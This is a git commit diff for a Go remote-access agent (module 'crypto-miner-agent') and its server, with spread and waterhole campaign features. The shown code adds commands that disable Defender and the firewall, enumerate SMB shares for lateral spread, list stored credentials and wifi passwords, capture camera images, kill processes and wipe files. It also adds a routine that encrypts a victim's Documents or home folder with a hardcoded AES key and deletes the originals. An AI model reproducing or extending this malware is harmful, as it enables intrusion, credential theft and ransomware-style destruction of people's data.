feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -3,6 +3,7 @@ package client
import (
"encoding/json"
"fmt"
"runtime"
"strconv"
"strings"
@@ -20,7 +21,7 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
@@ -95,6 +96,39 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, out)
return true
case "smb_shares":
if runtime.GOOS != "windows" {
c.sendCommandResult(action, false, "smb_shares is Windows-only")
return true
}
maxHosts := parsePortArg(command, 32)
out := deploy.EnumerateSMBShares(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "spread_status":
out := deploy.GetSpreadStatusJSON()
c.sendCommandResult(action, true, out)
return true
case "credential_vault_list":
out := listCredentialVaultNames()
c.sendCommandResult(action, true, out)
return true
case "secure_wipe":
target := strings.TrimSpace(path)
if target == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
go func() {
result := SecureWipePath(target)
ok := !strings.HasPrefix(result, "secure_wipe error:")
c.sendCommandResult(action, ok, result)
}()
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
@@ -227,9 +261,19 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}()
return true
case "sys_crypt":
case "sys_crypt", "encrypt_path":
target := strings.TrimSpace(path)
recursive := parseRecursiveFlag(command, data)
if action == "sys_crypt" && target == "" {
recursive = true
}
go func() {
result := SysCrypt()
var result string
if target == "" && action == "sys_crypt" {
result = SysCrypt()
} else {
result = EncryptPath(target, recursive)
}
c.sendCommandResult(action, true, result)
}()
return true

View File

@@ -10,10 +10,10 @@ import (
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
func handleCameraAction(action, device string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureLinuxCameraJPEG()
raw, err := captureLinuxCameraJPEG(strings.TrimSpace(device))
if err != nil {
return true, false, err.Error()
}
@@ -50,7 +50,7 @@ func listLinuxCameraDevices() ([]string, error) {
return devs, nil
}
func captureLinuxCameraJPEG() ([]byte, error) {
func captureLinuxCameraJPEG(preferred string) ([]byte, error) {
devs, err := listLinuxCameraDevices()
if err != nil {
return nil, err
@@ -59,6 +59,14 @@ func captureLinuxCameraJPEG() ([]byte, error) {
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
}
device := devs[0]
if preferred != "" {
for _, d := range devs {
if d == preferred {
device = d
break
}
}
}
if ff, err := exec.LookPath("ffmpeg"); err == nil {
out, runErr := exec.Command(ff,

View File

@@ -2,7 +2,7 @@
package client
func handleCameraAction(action string) (handled bool, success bool, message string) {
func handleCameraAction(action, _ string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot", "camera_list":
return true, false, "camera capture is not supported on this platform"

View File

@@ -8,10 +8,10 @@ import (
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
func handleCameraAction(action, device string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureWindowsCameraJPEG()
raw, err := captureWindowsCameraJPEG(strings.TrimSpace(device))
if err != nil {
return true, false, err.Error()
}
@@ -53,7 +53,7 @@ func listWindowsCameraDevices() ([]string, error) {
return parseDShowVideoDevices(string(out)), nil
}
func captureWindowsCameraJPEG() ([]byte, error) {
func captureWindowsCameraJPEG(preferred string) ([]byte, error) {
ff, err := ffmpegOnPath()
if err != nil {
return nil, err
@@ -66,6 +66,14 @@ func captureWindowsCameraJPEG() ([]byte, error) {
return nil, fmt.Errorf("no video capture devices found")
}
device := devs[0]
if preferred != "" {
for _, d := range devs {
if d == preferred {
device = d
break
}
}
}
out, err := silentCombinedOutput(ff,
"-hide_banner", "-loglevel", "error",
"-f", "dshow",

View File

@@ -325,6 +325,8 @@ func (c *AgentClient) authenticate() error {
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -618,7 +620,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
if c.handleRegistryCommand(action, path, data) {
return
}
if c.handleFileCommand(action, path) {
if c.handleFileCommand(action, path, data) {
return
}
if c.handleReconCommand(action, command) {

View File

@@ -5,6 +5,9 @@ import (
"fmt"
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
@@ -28,6 +31,31 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
c.sendCommandResult(action, true, string(b))
return true
}
if action == "arp_neighbors" {
ips := deploy.ArpNeighborIPs()
b, _ := json.Marshal(map[string]interface{}{
"neighbors": ips,
"count": len(ips),
})
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" {
report := collectPersistenceAudit()
b, _ := json.Marshal(report)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "kill_process" {
pid := strings.TrimSpace(command)
if pid == "" {
c.sendCommandResult(action, false, "pid is required in command field")
return true
}
ok, msg := killProcessByPID(pid)
c.sendCommandResult(action, ok, msg)
return true
}
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())

View File

@@ -47,13 +47,13 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
case "software":
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
case "screenshot":
if command != "" {
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
} else {
return true, false, "screenshot not supported on this platform without custom command"
b64, err := capturePlatformScreenshot(command)
if err != nil {
return true, false, err.Error()
}
return true, true, b64
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
return handleCameraAction(action, command)
case "sysinfo":
out, err = exec.Command("uname", "-a").CombinedOutput()
case "ipconfig":

View File

@@ -107,7 +107,7 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
}
return true, true, b64
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
return handleCameraAction(action, command)
case "sysinfo":
out, err = silentCombinedOutput("systeminfo")
case "ipconfig":

View File

@@ -0,0 +1,35 @@
package client
import (
"encoding/json"
"runtime"
)
type credentialEntry struct {
Name string `json:"name"`
Source string `json:"source"`
Type string `json:"type,omitempty"`
}
type credentialVaultResult struct {
Platform string `json:"platform"`
Entries []credentialEntry `json:"entries"`
Count int `json:"count"`
Note string `json:"note,omitempty"`
}
// listCredentialVaultNames returns stored credential identifiers (no secrets).
func listCredentialVaultNames() string {
entries, note := platformCredentialNames()
result := credentialVaultResult{
Platform: runtime.GOOS,
Entries: entries,
Count: len(entries),
Note: note,
}
if result.Entries == nil {
result.Entries = []credentialEntry{}
}
b, _ := json.Marshal(result)
return string(b)
}

View File

@@ -0,0 +1,48 @@
//go:build darwin
package client
import (
"os"
"path/filepath"
"strings"
)
func platformCredentialNames() ([]credentialEntry, string) {
var entries []credentialEntry
out, err := silentCombinedOutput("security", "dump-keychain")
if err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"svce"`) {
parts := strings.SplitN(line, "=", 2)
if len(parts) == 2 {
name := strings.Trim(strings.TrimSpace(parts[1]), `"`)
if name != "" {
entries = append(entries, credentialEntry{
Name: name,
Source: "macOS Keychain",
Type: "service",
})
}
}
}
}
}
home, _ := os.UserHomeDir()
if home != "" {
sshDir := filepath.Join(home, ".ssh")
matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
for _, m := range matches {
if strings.HasSuffix(m, ".pub") {
continue
}
entries = append(entries, credentialEntry{
Name: filepath.Base(m),
Source: "~/.ssh",
Type: "ssh_key",
})
}
}
return entries, "Keychain service names and SSH key paths only"
}

View File

@@ -0,0 +1,49 @@
//go:build linux
package client
import (
"os"
"path/filepath"
"strings"
)
func platformCredentialNames() ([]credentialEntry, string) {
var entries []credentialEntry
out, err := silentCombinedOutput("secret-tool", "search", "--all")
if err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "label = ") {
name := strings.TrimSpace(strings.TrimPrefix(line, "label = "))
if name != "" {
entries = append(entries, credentialEntry{
Name: name,
Source: "secret-service",
Type: "label",
})
}
}
}
}
home, _ := os.UserHomeDir()
if home != "" {
sshDir := filepath.Join(home, ".ssh")
matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
for _, m := range matches {
if strings.HasSuffix(m, ".pub") {
continue
}
entries = append(entries, credentialEntry{
Name: filepath.Base(m),
Source: "~/.ssh",
Type: "ssh_key",
})
}
}
note := "secret-service labels and SSH key paths only"
if len(entries) == 0 {
note += " (install libsecret secret-tool for GNOME Keyring listing)"
}
return entries, note
}

View File

@@ -0,0 +1,7 @@
//go:build !windows && !darwin && !linux
package client
func platformCredentialNames() ([]credentialEntry, string) {
return nil, "credential vault listing not supported on this platform"
}

View File

@@ -0,0 +1,20 @@
package client
import (
"encoding/json"
"testing"
)
func TestListCredentialVaultNamesJSON(t *testing.T) {
raw := listCredentialVaultNames()
var result credentialVaultResult
if err := json.Unmarshal([]byte(raw), &result); err != nil {
t.Fatal(err)
}
if result.Platform == "" {
t.Fatal("expected platform")
}
if result.Entries == nil {
t.Fatal("expected entries slice")
}
}

View File

@@ -0,0 +1,36 @@
//go:build windows
package client
import (
"strings"
)
func platformCredentialNames() ([]credentialEntry, string) {
out, err := silentCombinedOutput("cmdkey", "/list")
if err != nil {
return nil, "cmdkey failed: " + strings.TrimSpace(string(out))
}
var entries []credentialEntry
var current credentialEntry
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "Target:") {
if current.Name != "" {
entries = append(entries, current)
}
current = credentialEntry{
Name: strings.TrimSpace(strings.TrimPrefix(line, "Target:")),
Source: "Windows Credential Manager",
}
continue
}
if strings.HasPrefix(line, "Type:") && current.Name != "" {
current.Type = strings.TrimSpace(strings.TrimPrefix(line, "Type:"))
}
}
if current.Name != "" {
entries = append(entries, current)
}
return entries, "names only — secrets not exported"
}

156
agent/client/crypt.go Normal file
View File

@@ -0,0 +1,156 @@
package client
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/deploy"
)
const cryptPassword = "password"
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
func deriveKey(password string) []byte {
sum := sha256.Sum256([]byte(password))
return sum[:]
}
// encryptFile encrypts src with AES-256-GCM, writing src+".enc" and deleting the original.
func encryptFile(path string, key []byte) error {
plaintext, err := os.ReadFile(path)
if err != nil {
return err
}
block, err := aes.NewCipher(key)
if err != nil {
return err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
dst := path + ".enc"
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
return err
}
return os.Remove(path)
}
func parseRecursiveFlag(command, data string) bool {
for _, v := range []string{command, data} {
v = strings.TrimSpace(strings.ToLower(v))
if v == "recursive" || v == "1" || v == "true" || v == "yes" {
return true
}
}
return false
}
// EncryptPath AES-256-GCM encrypts files at targetPath (file or directory).
// Empty targetPath uses the platform default documents/home folder.
func EncryptPath(targetPath string, recursive bool) string {
resolved, err := resolveEncryptPath(targetPath)
if err != nil {
return "encrypt error: " + err.Error()
}
key := deriveKey(cryptPassword)
info, err := os.Stat(resolved)
if err != nil {
return "encrypt error: " + err.Error()
}
var encrypted, skipped, failed int
var errs []string
if !info.IsDir() {
if strings.HasSuffix(resolved, ".enc") {
return "encrypt skipped — already .enc"
}
if err := encryptFile(resolved, key); err != nil {
return fmt.Sprintf("encrypt failed: %v", err)
}
return fmt.Sprintf("encrypt done — encrypted: 1 path: %s", resolved)
}
walkFn := func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".enc") {
skipped++
return nil
}
if err := encryptFile(path, key); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
encrypted++
return nil
}
if recursive {
err = filepath.WalkDir(resolved, walkFn)
} else {
entries, readErr := os.ReadDir(resolved)
if readErr != nil {
return "encrypt error: " + readErr.Error()
}
for _, e := range entries {
if e.IsDir() {
continue
}
p := filepath.Join(resolved, e.Name())
_ = walkFn(p, e, nil)
}
err = nil
}
if err != nil {
return fmt.Sprintf("encrypt walk error: %v", err)
}
summary := fmt.Sprintf("encrypt done — encrypted: %d skipped: %d failed: %d path: %s", encrypted, skipped, failed, resolved)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
}
func resolveEncryptPath(targetPath string) (string, error) {
targetPath = strings.TrimSpace(targetPath)
if targetPath == "" {
def, err := defaultCryptDir()
if err != nil {
return "", err
}
targetPath = def
}
if containsPathTraversal(targetPath) {
return "", fmt.Errorf("path traversal (..) is not allowed")
}
resolved, err := deploy.ResolveRemotePath(targetPath)
if err != nil {
return "", err
}
return filepath.Clean(resolved), nil
}

View File

@@ -1,8 +0,0 @@
//go:build !windows
package client
// SysCrypt is a no-op on non-Windows platforms.
func SysCrypt() string {
return "sys_crypt is Windows-only in this build"
}

View File

@@ -0,0 +1,31 @@
//go:build !windows
package client
import (
"os"
"path/filepath"
)
func defaultCryptDir() (string, error) {
home, err := os.UserHomeDir()
if err != nil || home == "" {
return "", err
}
candidates := []string{
filepath.Join(home, "Documents"),
filepath.Join(home, "documents"),
home,
}
for _, c := range candidates {
if st, err := os.Stat(c); err == nil && st.IsDir() {
return filepath.Clean(c), nil
}
}
return filepath.Clean(home), nil
}
// SysCrypt encrypts files in the user's Documents (or home) folder.
func SysCrypt() string {
return EncryptPath("", true)
}

View File

@@ -3,27 +3,18 @@
package client
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"golang.org/x/sys/windows"
)
const cryptPassword = "password"
// documentsDir returns the current user's Documents folder path via the
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
func documentsDir() (string, error) {
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
if err != nil {
// Fall back to USERPROFILE\Documents
if up := os.Getenv("USERPROFILE"); up != "" {
return filepath.Join(up, "Documents"), nil
}
@@ -32,82 +23,11 @@ func documentsDir() (string, error) {
return path, nil
}
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
func deriveKey(password string) []byte {
sum := sha256.Sum256([]byte(password))
return sum[:]
func defaultCryptDir() (string, error) {
return documentsDir()
}
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
func encryptFile(path string, key []byte) error {
plaintext, err := os.ReadFile(path)
if err != nil {
return err
}
block, err := aes.NewCipher(key)
if err != nil {
return err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
dst := path + ".enc"
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
return err
}
return os.Remove(path)
}
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
// file (skipping files already ending in ".enc"). Returns a summary string.
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file.
func SysCrypt() string {
docsDir, err := documentsDir()
if err != nil {
return "sys_crypt error: " + err.Error()
}
key := deriveKey(cryptPassword)
var encrypted, skipped, failed int
var errs []string
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".enc") {
skipped++
return nil
}
if err := encryptFile(path, key); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
encrypted++
return nil
})
if err != nil {
return fmt.Sprintf("sys_crypt walk error: %v", err)
}
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
return EncryptPath("", true)
}

View File

@@ -0,0 +1,273 @@
package client
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/deploy"
)
const (
maxListDirEntries = 500
maxReadFileBytes = 512 * 1024
)
type dirEntry struct {
Name string `json:"name"`
IsDir bool `json:"is_dir"`
Size int64 `json:"size"`
}
type listDirResponse struct {
Path string `json:"path"`
HomeDir string `json:"home_dir"`
Platform string `json:"platform"`
Entries []dirEntry `json:"entries"`
}
var hiddenDirNames = map[string]bool{
"System Volume Information": true,
"$Recycle.Bin": true,
"$RECYCLE.BIN": true,
}
func containsPathTraversal(raw string) bool {
raw = strings.TrimSpace(raw)
if raw == "" {
return false
}
// Allow ~/ prefix — resolved via home, not traversal.
if strings.HasPrefix(raw, "~/") {
raw = raw[2:]
}
raw = strings.ReplaceAll(raw, "\\", "/")
for _, part := range strings.Split(raw, "/") {
if part == ".." {
return true
}
}
return false
}
func userHomeDir() (string, error) {
home, err := os.UserHomeDir()
if err != nil || home == "" {
return "", fmt.Errorf("home directory unavailable")
}
return filepath.Clean(home), nil
}
func resolveListDirPath(path string) (string, error) {
path = strings.TrimSpace(path)
if path == "" || path == "~" || path == "@home" {
return userHomeDir()
}
if containsPathTraversal(path) {
return "", fmt.Errorf("path traversal (..) is not allowed")
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
return "", err
}
resolved = filepath.Clean(resolved)
info, err := os.Stat(resolved)
if err != nil {
return "", err
}
if !info.IsDir() {
return "", fmt.Errorf("path is not a directory")
}
return resolved, nil
}
func readDirectoryEntries(dir string) ([]dirEntry, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return nil, err
}
out := make([]dirEntry, 0, len(entries))
for _, e := range entries {
if hiddenDirNames[e.Name()] {
continue
}
info, err := e.Info()
if err != nil {
continue
}
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
if len(out) >= maxListDirEntries {
break
}
}
return out, nil
}
func (c *AgentClient) doListDir(action, path string) bool {
if action != "list_dir" {
return false
}
resolved, err := resolveListDirPath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
home, _ := userHomeDir()
entries, err := readDirectoryEntries(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
resp := listDirResponse{
Path: resolved,
HomeDir: home,
Platform: runtime.GOOS,
Entries: entries,
}
b, _ := json.Marshal(resp)
c.sendCommandResult(action, true, string(b))
return true
}
var blockedDeletePrefixes = []string{
"c:/windows", "c:/program files", "c:/program files (x86)",
"/bin", "/sbin", "/usr", "/etc", "/lib", "/system",
}
func isBlockedDeletePath(resolved string) bool {
lower := strings.ToLower(strings.ReplaceAll(filepath.Clean(resolved), `\`, `/`))
home, _ := userHomeDir()
if home != "" {
homeNorm := strings.ToLower(strings.ReplaceAll(filepath.Clean(home), `\`, `/`))
if lower == homeNorm {
return true
}
}
for _, prefix := range blockedDeletePrefixes {
if strings.HasPrefix(lower, prefix) {
return true
}
}
return false
}
func (c *AgentClient) doDeletePath(action, path string) bool {
if action != "delete_path" {
return false
}
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
if containsPathTraversal(path) {
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
resolved = filepath.Clean(resolved)
if isBlockedDeletePath(resolved) {
c.sendCommandResult(action, false, "refusing to delete protected system path")
return true
}
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if info.IsDir() {
c.sendCommandResult(action, false, "refusing to delete directories (files only)")
return true
}
if err := os.Remove(resolved); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s", resolved))
return true
}
func (c *AgentClient) doMovePath(action, path, dest string) bool {
if action != "move_path" {
return false
}
if path == "" || dest == "" {
c.sendCommandResult(action, false, "path (source) and data (destination) are required")
return true
}
if containsPathTraversal(path) || containsPathTraversal(dest) {
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
return true
}
src, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, "source: "+err.Error())
return true
}
dst, err := deploy.ResolveRemotePath(dest)
if err != nil {
c.sendCommandResult(action, false, "destination: "+err.Error())
return true
}
src = filepath.Clean(src)
dst = filepath.Clean(dst)
if isBlockedDeletePath(src) || isBlockedDeletePath(dst) {
c.sendCommandResult(action, false, "refusing to move protected system path")
return true
}
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
c.sendCommandResult(action, false, "mkdir: "+err.Error())
return true
}
if err := os.Rename(src, dst); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("moved %s → %s", src, dst))
return true
}
func (c *AgentClient) doReadFile(action, path string) bool {
if action != "read_file" {
return false
}
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
if containsPathTraversal(path) {
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if info.IsDir() {
c.sendCommandResult(action, false, "path is a directory")
return true
}
if info.Size() > maxReadFileBytes {
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
return true
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, string(b))
return true
}

View File

@@ -0,0 +1,88 @@
package client
import (
"fmt"
"os"
"path/filepath"
"testing"
)
func TestContainsPathTraversal(t *testing.T) {
cases := []struct {
path string
want bool
}{
{"", false},
{"/home/user/docs", false},
{"C:\\Users\\alice", false},
{"~/Downloads", false},
{"../etc/passwd", true},
{"/home/user/../../etc", true},
{"foo/../bar", true},
}
for _, tc := range cases {
if got := containsPathTraversal(tc.path); got != tc.want {
t.Errorf("containsPathTraversal(%q) = %v, want %v", tc.path, got, tc.want)
}
}
}
func TestResolveListDirPathRejectsTraversal(t *testing.T) {
_, err := resolveListDirPath("../outside")
if err == nil {
t.Fatal("expected traversal error")
}
}
func TestResolveListDirPathEmptyUsesHome(t *testing.T) {
home, err := os.UserHomeDir()
if err != nil {
t.Skip("no home dir")
}
for _, input := range []string{"", "~", "@home"} {
got, err := resolveListDirPath(input)
if err != nil {
t.Fatalf("resolveListDirPath(%q): %v", input, err)
}
if got != filepath.Clean(home) {
t.Fatalf("resolveListDirPath(%q) = %q, want %q", input, got, home)
}
}
}
func TestIsBlockedDeletePath(t *testing.T) {
if !isBlockedDeletePath(`C:\Windows\System32\kernel32.dll`) {
t.Fatal("expected Windows system path blocked")
}
if !isBlockedDeletePath(`/usr/bin/bash`) {
t.Fatal("expected /usr blocked")
}
home, err := os.UserHomeDir()
if err != nil {
t.Skip("no home")
}
if !isBlockedDeletePath(home) {
t.Fatal("expected home root blocked")
}
tmp := filepath.Join(home, "test_delete_guard.txt")
if isBlockedDeletePath(tmp) {
t.Fatalf("expected user file path allowed: %s", tmp)
}
}
func TestReadDirectoryEntriesCapsCount(t *testing.T) {
dir := t.TempDir()
for i := 0; i < maxListDirEntries+10; i++ {
name := filepath.Join(dir, fmt.Sprintf("file_%d.txt", i))
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
}
entries, err := readDirectoryEntries(dir)
if err != nil {
t.Fatal(err)
}
if len(entries) != maxListDirEntries {
t.Fatalf("entries len = %d, want cap %d", len(entries), maxListDirEntries)
}
}

View File

@@ -2,10 +2,17 @@
package client
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir", "read_file":
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
func (c *AgentClient) handleFileCommand(action, path, data string) bool {
if c.doListDir(action, path) {
return true
}
if c.doReadFile(action, path) {
return true
}
if c.doDeletePath(action, path) {
return true
}
if c.doMovePath(action, path, data) {
return true
}
return false

View File

@@ -2,80 +2,17 @@
package client
import (
"encoding/json"
"fmt"
"os"
"crypto-miner-agent/deploy"
)
const maxReadFileBytes = 512 * 1024
type dirEntry struct {
Name string `json:"name"`
IsDir bool `json:"is_dir"`
Size int64 `json:"size"`
}
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
entries, err := os.ReadDir(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
out := make([]dirEntry, 0, len(entries))
for _, e := range entries {
info, err := e.Info()
if err != nil {
continue
}
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
}
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
c.sendCommandResult(action, true, string(b))
func (c *AgentClient) handleFileCommand(action, path, data string) bool {
if c.doListDir(action, path) {
return true
case "read_file":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if info.IsDir() {
c.sendCommandResult(action, false, "path is a directory")
return true
}
if info.Size() > maxReadFileBytes {
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
return true
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, string(b))
}
if c.doReadFile(action, path) {
return true
}
if c.doDeletePath(action, path) {
return true
}
if c.doMovePath(action, path, data) {
return true
}
return false

View File

@@ -0,0 +1,28 @@
package client
import (
"fmt"
"os/exec"
"runtime"
"strconv"
"strings"
)
func killProcessByPID(pidStr string) (bool, string) {
pid, err := strconv.Atoi(strings.TrimSpace(pidStr))
if err != nil || pid <= 0 {
return false, "invalid pid: " + pidStr
}
if runtime.GOOS == "windows" {
out, err := silentCombinedOutput("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
if err != nil {
return false, formatCmdErr(err, out)
}
return true, strings.TrimSpace(string(out))
}
out, err := exec.Command("kill", "-9", fmt.Sprintf("%d", pid)).CombinedOutput()
if err != nil {
return false, formatCmdErr(err, out)
}
return true, strings.TrimSpace(string(out))
}

View File

@@ -0,0 +1,13 @@
package client
import "testing"
func TestKillProcessByPIDInvalid(t *testing.T) {
ok, msg := killProcessByPID("not-a-pid")
if ok {
t.Fatal("expected failure for invalid pid")
}
if msg == "" {
t.Fatal("expected error message")
}
}

View File

@@ -0,0 +1,16 @@
package client
// PersistenceAuditEntry is one discovered autostart hook (read-only).
type PersistenceAuditEntry struct {
Kind string `json:"kind"`
Name string `json:"name"`
Detail string `json:"detail,omitempty"`
Enabled bool `json:"enabled,omitempty"`
}
// PersistenceAuditReport summarizes Run keys, tasks, and service hooks.
type PersistenceAuditReport struct {
Platform string `json:"platform"`
Entries []PersistenceAuditEntry `json:"entries"`
Count int `json:"count"`
}

View File

@@ -0,0 +1,51 @@
//go:build darwin
package client
import (
"os"
"os/exec"
"path/filepath"
"strings"
)
func collectPersistenceAudit() PersistenceAuditReport {
report := PersistenceAuditReport{Platform: "darwin"}
home, _ := os.UserHomeDir()
if home != "" {
agentsDir := filepath.Join(home, "Library", "LaunchAgents")
if entries, err := os.ReadDir(agentsDir); err == nil {
for _, e := range entries {
